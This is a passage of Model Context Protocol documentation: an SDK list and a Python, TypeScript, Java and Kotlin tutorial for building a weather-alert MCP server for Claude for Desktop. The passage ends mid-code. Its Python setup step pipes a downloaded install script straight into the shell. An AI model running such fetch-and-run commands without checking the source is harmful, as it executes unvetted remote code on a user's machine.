[Python](https://py.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 | | [C#](https://csharp.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 | | [Go](https://go.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 | | [Java](https://java.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 | | [Rust](https://rust.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 | | Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 | | [Ruby](https://ruby.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 | | [PHP](https://php.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 | | [Kotlin](https://kotlin.sdk.modelcontextprotocol.io/) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | TBD | See [SDK Tiering System](https://modelcontextprotocol.io/community/sdk-tiers) for details on what each tier means. [​](https://modelcontextprotocol.io/docs/sdk#getting-started) Getting Started -------------------------------------------------------------------------------- Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support: * Creating MCP servers that expose tools, resources, and prompts * Building MCP clients that can connect to any MCP server * Local and remote transport protocols * Protocol compliance with type safety Visit the SDK page for your chosen language to find installation instructions, documentation, and examples. [​](https://modelcontextprotocol.io/docs/sdk#next-steps) Next Steps ---------------------------------------------------------------------- Ready to start building with MCP? Choose your path: [Build a Server\ --------------\ \ Learn how to create your first MCP server](https://modelcontextprotocol.io/docs/develop/build-server) [Build a Client\ --------------\ \ Create applications that connect to MCP servers](https://modelcontextprotocol.io/docs/develop/build-client) Was this page helpful? YesNo [Client Best Practices](https://modelcontextprotocol.io/docs/develop/clients/client-best-practices) [Understanding Authorization in MCP](https://modelcontextprotocol.io/docs/tutorials/security/authorization) Ctrl+I --- # Build an MCP server - Model Context Protocol [Skip to main content](https://modelcontextprotocol.io/docs/develop/build-server#content-area) [Model Context Protocol home page![light logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/light.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=a5ac61ce77858fb1ddaf6de761c39499)![dark logo](https://mintcdn.com/mcp/2BMHnlNW5OqOohXZ/logo/dark.svg?fit=max&auto=format&n=2BMHnlNW5OqOohXZ&q=85&s=1227cb7feb8344f9f6288c6b5b0a6d80)](https://modelcontextprotocol.io/) Search... ⌘K Search... Navigation Develop with MCP Build an MCP server [Documentation](https://modelcontextprotocol.io/docs/getting-started/intro) [Extensions](https://modelcontextprotocol.io/extensions/overview) [Specification](https://modelcontextprotocol.io/specification/2025-11-25) [Registry](https://modelcontextprotocol.io/registry/about) [SEPs](https://modelcontextprotocol.io/seps) [Community](https://modelcontextprotocol.io/community/contributing) On this page * [What we’ll be building](https://modelcontextprotocol.io/docs/develop/build-server#what-we%E2%80%99ll-be-building) * [Core MCP Concepts](https://modelcontextprotocol.io/docs/develop/build-server#core-mcp-concepts) * [Test with commands](https://modelcontextprotocol.io/docs/develop/build-server#test-with-commands) * [What’s happening under the hood](https://modelcontextprotocol.io/docs/develop/build-server#what%E2%80%99s-happening-under-the-hood) * [Troubleshooting](https://modelcontextprotocol.io/docs/develop/build-server#troubleshooting) * [Next steps](https://modelcontextprotocol.io/docs/develop/build-server#next-steps) In this tutorial, we’ll build a simple MCP weather server and connect it to a host, Claude for Desktop. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#what-we%E2%80%99ll-be-building) What we’ll be building We’ll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we’ll connect the server to an MCP host (in this case, Claude for Desktop): ![](https://mintcdn.com/mcp/4ZXF1PrDkEaJvXpn/images/current-weather.png?w=2500&fit=max&auto=format&n=4ZXF1PrDkEaJvXpn&q=85&s=3922160478785cc88d5e98d418e8f7dd) Servers can connect to any client. We’ve chosen Claude for Desktop here for simplicity, but we also have guides on [building your own client](https://modelcontextprotocol.io/docs/develop/build-client) as well as a [list of other clients here](https://modelcontextprotocol.io/clients) . ### [​](https://modelcontextprotocol.io/docs/develop/build-server#core-mcp-concepts) Core MCP Concepts MCP servers can provide three main types of capabilities: 1. **[Resources](https://modelcontextprotocol.io/docs/learn/server-concepts#resources) **: File-like data that can be read by clients (like API responses or file contents) 2. **[Tools](https://modelcontextprotocol.io/docs/learn/server-concepts#tools) **: Functions that can be called by the LLM (with user approval) 3. **[Prompts](https://modelcontextprotocol.io/docs/learn/server-concepts#prompts) **: Pre-written templates that help users accomplish specific tasks This tutorial will primarily focus on tools. * Python * TypeScript * Java * Kotlin * C# * Ruby * Rust * Go Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge) Prerequisite knowledge This quickstart assumes you have familiarity with: * Python * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices) Best Practices * Use a logging library that writes to stderr or files. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#quick-examples) Quick Examples import sys import logging # ❌ Bad (STDIO) print("Processing request") # ✅ Good (STDIO) print("Processing request", file=sys.stderr) # ✅ Good (STDIO) logging.info("Processing request") ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements) System requirements * Python 3.10 or higher installed. * You must use the Python MCP SDK 1.2.0 or higher. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment) Set up your environment First, let’s install `uv` and set up our Python project and environment: macOS/Linux Windows curl -LsSf https://astral.sh/uv/install.sh | sh Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.Now, let’s create and set up our project: macOS/Linux Windows # Create a new directory for our project uv init weather cd weather # Create virtual environment and activate it uv venv source .venv/bin/activate # Install dependencies uv add "mcp[cli]" httpx # Create our server file touch weather.py Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server) Building your server ----------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#importing-packages-and-setting-up-the-instance) Importing packages and setting up the instance Add these to the top of your `weather.py`: from typing import Any import httpx from mcp.server.fastmcp import FastMCP # Initialize FastMCP server mcp = FastMCP("weather") # Constants NWS_API_BASE = "https://api.weather.gov" USER_AGENT = "weather-app/1.0" The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#helper-functions) Helper functions Next, let’s add our helper functions for querying and formatting the data from the National Weather Service API: async def make_nws_request(url: str) -> dict[str, Any] | None: """Make a request to the NWS API with proper error handling.""" headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"} async with httpx.AsyncClient() as client: try: response = await client.get(url, headers=headers, timeout=30.0) response.raise_for_status() return response.json() except Exception: return None def format_alert(feature: dict) -> str: """Format an alert feature into a readable string.""" props = feature["properties"] return f""" Event: {props.get("event", "Unknown")} Area: {props.get("areaDesc", "Unknown")} Severity: {props.get("severity", "Unknown")} Description: {props.get("description", "No description available")} Instructions: {props.get("instruction", "No specific instructions provided")} """ ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-tool-execution) Implementing tool execution The tool execution handler is responsible for actually executing the logic of each tool. Let’s add it: @mcp.tool() async def get_alerts(state: str) -> str: """Get weather alerts for a US state. Args: state: Two-letter US state code (e.g. CA, NY) """ url = f"{NWS_API_BASE}/alerts/active/area/{state}" data = await make_nws_request(url) if not data or "features" not in data: return "Unable to fetch alerts or no alerts found." if not data["features"]: return "No active alerts for this state." alerts = [format_alert(feature) for feature in data["features"]] return "\n---\n".join(alerts) @mcp.tool() async def get_forecast(latitude: float, longitude: float) -> str: """Get weather forecast for a location. Args: latitude: Latitude of the location longitude: Longitude of the location """ # First get the forecast grid endpoint points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}" points_data = await make_nws_request(points_url) if not points_data: return "Unable to fetch forecast data for this location." # Get the forecast URL from the points response forecast_url = points_data["properties"]["forecast"] forecast_data = await make_nws_request(forecast_url) if not forecast_data: return "Unable to fetch detailed forecast." # Format the periods into a readable forecast periods = forecast_data["properties"]["periods"] forecasts = [] for period in periods[:5]: # Only show next 5 periods forecast = f""" {period["name"]}: Temperature: {period["temperature"]}°{period["temperatureUnit"]} Wind: {period["windSpeed"]} {period["windDirection"]} Forecast: {period["detailedForecast"]} """ forecasts.append(forecast) return "\n---\n".join(forecasts) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server) Running the server Finally, let’s initialize and run the server: def main(): # Initialize and run the server mcp.run(transport="stdio") if __name__ == "__main__": main() Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop) Testing your server with Claude for Desktop --------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "uv", "args": [\ "--directory",\ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather",\ "run",\ "weather.py"\ ] } } } You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows. Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path. This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py` Save the file, and restart **Claude for Desktop**. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-2) Prerequisite knowledge This quickstart assumes you have familiarity with: * TypeScript * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-2) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-2) Best Practices * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#quick-examples-2) Quick Examples // ❌ Bad (STDIO) console.log("Server started"); // ✅ Good (STDIO) console.error("Server started"); // stderr is safe ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-2) System requirements For TypeScript, make sure you have the latest version of Node installed. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-2) Set up your environment First, let’s install Node.js and npm if you haven’t already. You can download them from [nodejs.org](https://nodejs.org/) . Verify your Node.js installation: node --version npm --version For this tutorial, you’ll need Node.js version 16 or higher.Now, let’s create and set up our project: macOS/Linux Windows # Create a new directory for our project mkdir weather cd weather # Initialize a new npm project npm init -y # Install dependencies npm install @modelcontextprotocol/sdk zod@3 npm install -D @types/node typescript # Create our files mkdir src touch src/index.ts Update your package.json to add type: “module” and a build script: package.json { "type": "module", "bin": { "weather": "./build/index.js" }, "scripts": { "build": "tsc && chmod 755 build/index.js" }, "files": ["build"] } Create a `tsconfig.json` in the root of your project: tsconfig.json { "compilerOptions": { "target": "ES2022", "module": "Node16", "moduleResolution": "Node16", "outDir": "./build", "rootDir": "./src", "strict": true, "esModuleInterop": true, "skipLibCheck": true, "forceConsistentCasingInFileNames": true }, "include": ["src/**/*"], "exclude": ["node_modules"] } Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-2) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#importing-packages-and-setting-up-the-instance-2) Importing packages and setting up the instance Add these to the top of your `src/index.ts`: import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; import { z } from "zod"; const NWS_API_BASE = "https://api.weather.gov"; const USER_AGENT = "weather-app/1.0"; // Create server instance const server = new McpServer({ name: "weather", version: "1.0.0", }); ### [​](https://modelcontextprotocol.io/docs/develop/build-server#helper-functions-2) Helper functions Next, let’s add our helper functions for querying and formatting the data from the National Weather Service API: // Helper function for making NWS API requests async function makeNWSRequest(url: string): Promise { const headers = { "User-Agent": USER_AGENT, Accept: "application/geo+json", }; try { const response = await fetch(url, { headers }); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } return (await response.json()) as T; } catch (error) { console.error("Error making NWS request:", error); return null; } } interface AlertFeature { properties: { event?: string; areaDesc?: string; severity?: string; status?: string; headline?: string; }; } // Format alert data function formatAlert(feature: AlertFeature): string { const props = feature.properties; return [\ `Event: ${props.event || "Unknown"}`,\ `Area: ${props.areaDesc || "Unknown"}`,\ `Severity: ${props.severity || "Unknown"}`,\ `Status: ${props.status || "Unknown"}`,\ `Headline: ${props.headline || "No headline"}`,\ "---",\ ].join("\n"); } interface ForecastPeriod { name?: string; temperature?: number; temperatureUnit?: string; windSpeed?: string; windDirection?: string; shortForecast?: string; } interface AlertsResponse { features: AlertFeature[]; } interface PointsResponse { properties: { forecast?: string; }; } interface ForecastResponse { properties: { periods: ForecastPeriod[]; }; } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-tool-execution-2) Implementing tool execution The tool execution handler is responsible for actually executing the logic of each tool. Let’s add it: // Register weather tools server.registerTool( "get_alerts", { description: "Get weather alerts for a state", inputSchema: { state: z .string() .length(2) .describe("Two-letter state code (e.g. CA, NY)"), }, }, async ({ state }) => { const stateCode = state.toUpperCase(); const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`; const alertsData = await makeNWSRequest(alertsUrl); if (!alertsData) { return { content: [\ {\ type: "text",\ text: "Failed to retrieve alerts data",\ },\ ], }; } const features = alertsData.features || []; if (!features.length) { return { content: [\ {\ type: "text",\ text: `No active alerts for ${stateCode}`,\ },\ ], }; } const formattedAlerts = features.map(formatAlert); const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`; return { content: [\ {\ type: "text",\ text: alertsText,\ },\ ], }; }, ); server.registerTool( "get_forecast", { description: "Get weather forecast for a location", inputSchema: { latitude: z .number() .min(-90) .max(90) .describe("Latitude of the location"), longitude: z .number() .min(-180) .max(180) .describe("Longitude of the location"), }, }, async ({ latitude, longitude }) => { // Get grid point data const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`; const pointsData = await makeNWSRequest(pointsUrl); if (!pointsData) { return { content: [\ {\ type: "text",\ text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`,\ },\ ], }; } const forecastUrl = pointsData.properties?.forecast; if (!forecastUrl) { return { content: [\ {\ type: "text",\ text: "Failed to get forecast URL from grid point data",\ },\ ], }; } // Get forecast data const forecastData = await makeNWSRequest(forecastUrl); if (!forecastData) { return { content: [\ {\ type: "text",\ text: "Failed to retrieve forecast data",\ },\ ], }; } const periods = forecastData.properties?.periods || []; if (periods.length === 0) { return { content: [\ {\ type: "text",\ text: "No forecast periods available",\ },\ ], }; } // Format forecast periods const formattedForecast = periods.map((period: ForecastPeriod) => [\ `${period.name || "Unknown"}:`,\ `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`,\ `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`,\ `${period.shortForecast || "No forecast available"}`,\ "---",\ ].join("\n"), ); const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`; return { content: [\ {\ type: "text",\ text: forecastText,\ },\ ], }; }, ); ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-2) Running the server Finally, implement the main function to run the server: async function main() { const transport = new StdioServerTransport(); await server.connect(transport); console.error("Weather MCP Server running on stdio"); } main().catch((error) => { console.error("Fatal error in main():", error); process.exit(1); }); Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-2) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "node", "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"] } } } This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js` Save the file, and restart **Claude for Desktop**. This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](https://java.sdk.modelcontextprotocol.io/) documentation. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server) For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation. For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](https://java.sdk.modelcontextprotocol.io/) . ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-3) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `System.out.println()` or `System.out.print()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-3) Best Practices * Use a logging library that writes to stderr or files. * Ensure any configured logging library will not write to stdout. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-3) System requirements * Java 17 or higher installed. * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-3) Set up your environment Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project.You will need to add the following dependencies: Maven Gradle org.springframework.ai spring-ai-starter-mcp-server org.springframework spring-web Then configure your application by setting the application properties: application.properties application.yml spring.main.bannerMode=off logging.pattern.console= The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties.Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-3) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#weather-service) Weather Service Let’s implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API: @Service public class WeatherService { private final RestClient restClient; public WeatherService() { this.restClient = RestClient.builder() .baseUrl("https://api.weather.gov") .defaultHeader("Accept", "application/geo+json") .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)") .build(); } @Tool(description = "Get weather forecast for a specific latitude/longitude") public String getWeatherForecastByLocation( double latitude, // Latitude coordinate double longitude // Longitude coordinate ) { // Returns detailed forecast including: // - Temperature and unit // - Wind speed and direction // - Detailed forecast description } @Tool(description = "Get weather alerts for a US state") public String getAlerts( @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state ) { // Returns active alerts including: // - Event type // - Affected area // - Severity // - Description // - Safety instructions } // ...... } The `@Service` annotation will auto-register the service in your application context. The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools.The auto-configuration will automatically register these tools with the MCP server. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#create-your-boot-application) Create your Boot Application @SpringBootApplication public class McpServerApplication { public static void main(String[] args) { SpringApplication.run(McpServerApplication.class, args); } @Bean public ToolCallbackProvider weatherTools(WeatherService weatherService) { return MethodToolCallbackProvider.builder().toolObjects(weatherService).build(); } } Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-3) Running the server Finally, let’s build the server: ./mvnw clean install This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-3) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "spring-ai-mcp-weather": { "command": "java", "args": [\ "-Dspring.ai.mcp.server.stdio=true",\ "-jar",\ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar"\ ] } } } Make sure you pass in the absolute path to your server. This tells Claude for Desktop: 1. There’s an MCP server named “my-weather-server” 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` Save the file, and restart **Claude for Desktop**. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-java-client) Testing your server with Java client ------------------------------------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#create-an-mcp-client-manually) Create an MCP Client manually Use the `McpClient` to connect to the server: var stdioParams = ServerParameters.builder("java") .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar") .build(); var stdioTransport = new StdioClientTransport(stdioParams); var mcpClient = McpClient.sync(stdioTransport).build(); mcpClient.initialize(); ListToolsResult toolsList = mcpClient.listTools(); CallToolResult weather = mcpClient.callTool( new CallToolRequest("getWeatherForecastByLocation", Map.of("latitude", "47.6062", "longitude", "-122.3321"))); CallToolResult alert = mcpClient.callTool( new CallToolRequest("getAlerts", Map.of("state", "NY"))); mcpClient.closeGracefully(); ### [​](https://modelcontextprotocol.io/docs/develop/build-server#use-mcp-client-boot-starter) Use MCP Client Boot Starter Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency: org.springframework.ai spring-ai-starter-mcp-client and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`. You can reuse the existing Anthropic Desktop configuration: spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation. [​](https://modelcontextprotocol.io/docs/develop/build-server#more-java-mcp-server-examples) More Java MCP Server examples ----------------------------------------------------------------------------------------------------------------------------- The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport. It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot’s auto-configuration capabilities. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-3) Prerequisite knowledge This quickstart assumes you have familiarity with: * Kotlin * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-4) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-4) Best Practices * Use a logging library that writes to stderr or files. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-4) System requirements * JDK 11 or higher installed. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-4) Set up your environment First, let’s install `java` and `gradle` if you haven’t already. You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/) . Verify your `java` installation: java --version Now, let’s create and set up your project: macOS/Linux Windows # Create a new directory for our project mkdir weather cd weather # Initialize a new kotlin project gradle init After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html) .After creating the project, replace the contents of your `build.gradle.kts` with: build.gradle.kts // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases val mcpVersion = "0.9.0" val ktorVersion = "3.2.3" val slf4jVersion = "2.0.17" plugins { kotlin("jvm") version "2.3.20" kotlin("plugin.serialization") version "2.3.20" id("com.gradleup.shadow") version "8.3.9" application } application { mainClass.set("MainKt") } dependencies { implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion") implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion") implementation("io.ktor:ktor-client-cio:$ktorVersion") implementation("org.slf4j:slf4j-simple:$slf4jVersion") } Verify that everything is set up correctly: ./gradlew build Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-4) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#setting-up-the-instance) Setting up the instance Add a server initialization function: fun runMcpServer() { val server = Server( Implementation( name = "weather", version = "1.0.0", ), ServerOptions( capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)), ), ) // register tools on server here val transport = StdioServerTransport( System.`in`.asInput(), System.out.asSink().buffered(), ) runBlocking { val session = server.createSession(transport) val done = Job() session.onClose { done.complete() } done.join() } } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#weather-api-helper-functions) Weather API helper functions Next, let’s add functions and data classes for querying and converting responses from the National Weather Service API: val httpClient = HttpClient(CIO) { defaultRequest { url("https://api.weather.gov") headers { append("Accept", "application/geo+json") append("User-Agent", "WeatherApiClient/1.0") } contentType(ContentType.Application.Json) } install(ContentNegotiation) { json(Json { ignoreUnknownKeys = true }) } } // Extension function to fetch weather alerts for a given state suspend fun HttpClient.getAlerts(state: String): List { val alerts = this.get("/alerts/active/area/$state").body() return alerts.features.map { feature -> """ Event: ${feature.properties.event} Area: ${feature.properties.areaDesc} Severity: ${feature.properties.severity} Status: ${feature.properties.status} Headline: ${feature.properties.headline} """.trimIndent() } } // Extension function to fetch forecast information for given latitude and longitude suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): 